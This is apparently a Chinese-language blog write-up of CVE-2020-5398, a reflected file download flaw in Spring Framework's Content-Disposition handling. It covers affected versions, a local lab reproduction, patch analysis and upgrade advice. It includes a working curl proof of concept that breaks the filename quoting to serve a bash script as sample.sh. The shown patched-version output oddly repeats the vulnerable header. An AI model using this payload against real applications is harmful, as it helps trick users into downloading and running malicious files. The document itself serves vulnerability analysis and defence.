CVE-2020-5398:Spring MVC_RFD
很久没有更新博文了，谢谢大家一直以来的支持，后续有时间会继续分享相关的技术知识，也希望大家一起参与技术讨论与交流~
影响范围
- Spring Framework 5.2.0 - 5.2.2
- Spring Framework 5.1.0 - 5.1.12
- Spring Framework 5.0.0 - 5.0.15
漏洞类型
反射型文件下载漏洞(RFD)
利用条件
1、响应header是通过org.springframework.http.ContentDisposition进行添加的
2、文件名是通过以下方式之一设置的：
- ContentDisposition.Builder#filename(String)
- ContentDisposition.Builder#filename(String, US_ASCII)
3、filename的值来自用户提供的输入
4、应用程序未清除用户提供的输入
5、攻击者已将下载的响应内容中注入恶意命令
攻击者可利用RFD漏洞，结合社工等方式，让用户下载一个恶意文件并执行，从而危害用户的终端安全。
漏洞概述
2020年1月16日，Pivotal Software（Spring系列）官方发布 Spring Framework 存在 RFD（反射型文件下载漏洞）的漏洞报告，此漏洞为攻击客户端的漏洞，官方将漏洞严重程度评为高。报告指出，当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。
漏洞复现
环境搭建
下载环境：git clone https://github.com/motikan2010/CVE-2020-5398.git
运行环境：./gradlew bootrun
漏洞复现
使用curl请求如下：
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
补丁分析
此漏洞由于Spring Framework并没有对filename传入的文件名进行严格的安全检测，攻击者可以通过截断的方式控制filename变量值，下载任意格式的文件。
漏洞点存在于ContentDisposition.java 中，SpringFramework对于响应包中http头部的Content-Disposition字段没有严格的检测。漏洞修复补丁如下图：
https://github.com/spring-projects/spring-framework/commit/956ffe68587c8d5f21135b5ce4650af0c2dea933
旧版本对于filename变量的处理只是简单的通过双引号分割的方式获取用户传入的filename变量值，攻击者可以通过构造闭合双引号的方式，截断双引号后面的字符串，从而达到控制文件名的目的。新版本中添加escapeQuotationsInFilename方法限制了filename中双引号的危害，escapeQuotationsInFilename方法会将filename中的字符串逐一检测，如果存在双引号，则用注释符注释双引号，从而破坏了双引号的功能。
漏洞POC
Spring Web 5.2.2
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id开始下载sample.sh文件~
Spring Web 5.2.3
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id开始下载sample.sh";.txt文件~
防护措施
官方发布的最新版本已经修复了此漏洞，受影响的用户可以下载最新版本防御此漏洞。
下载链接：https://github.com/spring-projects/spring-framework
参考链接
https://github.com/motikan2010/CVE-2020-5398